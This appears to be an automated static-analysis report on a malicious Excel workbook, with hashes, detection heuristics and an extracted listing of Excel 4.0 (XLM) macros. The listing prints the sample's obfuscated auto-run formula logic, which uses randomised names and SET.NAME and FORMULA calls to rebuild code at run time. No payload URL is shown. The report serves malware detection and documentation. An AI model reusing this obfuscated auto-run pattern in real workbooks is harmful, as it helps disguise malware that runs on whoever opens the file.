Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 253ad474df027e3b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:03 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5c541a6e6fac521eb87c3d7da7b428c6 SHA-1: 70a3052896ba5b00dd49b5997d2521592231543e SHA-256: 253ad474df027e3b7984284622d3073428ff5847c2b865de26ae851af1282303
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6392 bytes
SHA-256: cbe13ada6833b17181a821dd6cee7d710ef8dd93e4ebe68e5d4187869d83109e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Way
' 0018     24 LABEL : Cell Value, String Constant - AmBiGNfcv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C195 
' 0018     25 LABEL : Cell Value, String Constant - ciObfbDUII len=0 
' 0018     25 LABEL : Cell Value, String Constant - CsOuWYPOob len=0 
' 0018     21 LABEL : Cell Value, String Constant - DSClCN len=0 
' 0018     21 LABEL : Cell Value, String Constant - Dsevmp len=0 
' 0018     25 LABEL : Cell Value, String Constant - EYudbNJGLK len=0 
' 0018     25 LABEL : Cell Value, String Constant - FaSQGqeide len=0 
' 0018     26 LABEL : Cell Value, String Constant - hlIJVbuoAfU len=0 
' 0018     26 LABEL : Cell Value, String Constant - IOoTiIbGpQv len=0 
' 0018     21 LABEL : Cell Value, String Constant - iRTxAr len=0 
' 0018     27 LABEL : Cell Value, String Constant - jeiRxvasLNDN len=0 
' 0018     21 LABEL : Cell Value, String Constant - LnMdAK len=0 
' 0018     21 LABEL : Cell Value, String Constant - QNfTyU len=0 
' 0018     27 LABEL : Cell Value, String Constant - SRhMyUtzbPjo len=0 
' 0018     23 LABEL : Cell Value, String Constant - szwgPSrm len=0 
' 0018     21 LABEL : Cell Value, String Constant - TNGhCw len=0 
' 0018     23 LABEL : Cell Value, String Constant - USIOtrWo len=0 
' 0018     21 LABEL : Cell Value, String Constant - UUAzvb len=0 
' 0018     25 LABEL : Cell Value, String Constant - xMXCkuQWDQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - zHOzcKm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Way,C101,"SET.NAME("FaSQGqeide",VALUE("0"))",""
'  Way,C103,"SET.NAME("DSClCN",FaSQGqeide)",""
'  Way,C105,"SET.NAME("CsOuWYPOob",FaSQGqeide)",""
'  Way,C109,"SET.NAME("IOoTiIbGpQv",COUNTA(szwgPSrm))",""
'  Way,C114,"SET.NAME("QNfTyU",COUNTA(EYudbNJGLK))",""
'  Way,C118,[],""
'  Way,C122,"SET.NAME("hlIJVbuoAfU","")",""
'  Way,C127,"DSClCN",""
'  Way,C129,"SET.NAME("LnMdAK",HLOOKUP("*",szwgPSrm,DSClCN,FALSE))",""
'  Way,C132,"iRTxAr",""
'  Way,C137,"SET.NAME("xMXCkuQWDQ",FaSQGqeide)",""
'  Way,C141,[],""
'  Way,C145,"xMXCkuQWDQ",""
'  Way,C150,"USIOtrWo",""
'  Way,C155,"zHOzcKm",""
'  Way,C160,"Dsevmp",""
'  Way,C164,"SET.NAME("AmBiGNfcv",VALUE(HLOOKUP("*",EYudbNJGLK,Dsevmp,FALSE)))",""
'  Way,C166,"UUAzvb",""
'  Way,C170,"hlIJVbuoAfU",""
'  Way,C173,"CsOuWYPOob",""
'  Way,C176,NEXT(),""
'  Way,C179,"TNGhCw",""
'  Way,C183,"SET.NAME("f",INT(T(FORMULA(T(hlIJVbuoAfU)&"",""&T(TNGhCw)))))",""
'  Way,C186,"jeiRxvasLNDN",""
'  Way,C188,NEXT(),""
'  Way,C190,RETURN(),""
'  Way,C220,"SET.NAME("ciObfbDUII",C101)",""
'  Way,C222,"szwgPSrm",""
'  Way,C224,"SET.NAME("EYudbNJGLK",R88C11)",""
'  Way,C228,"SET.NAME("jeiRxvasLNDN",236)",""
'  Way,C233,"SET.NAME("SRhMyUtzbPjo",3)",""
'  Way,C235,ciObfbDUII(),""
'  Way,C236,HALT(),""

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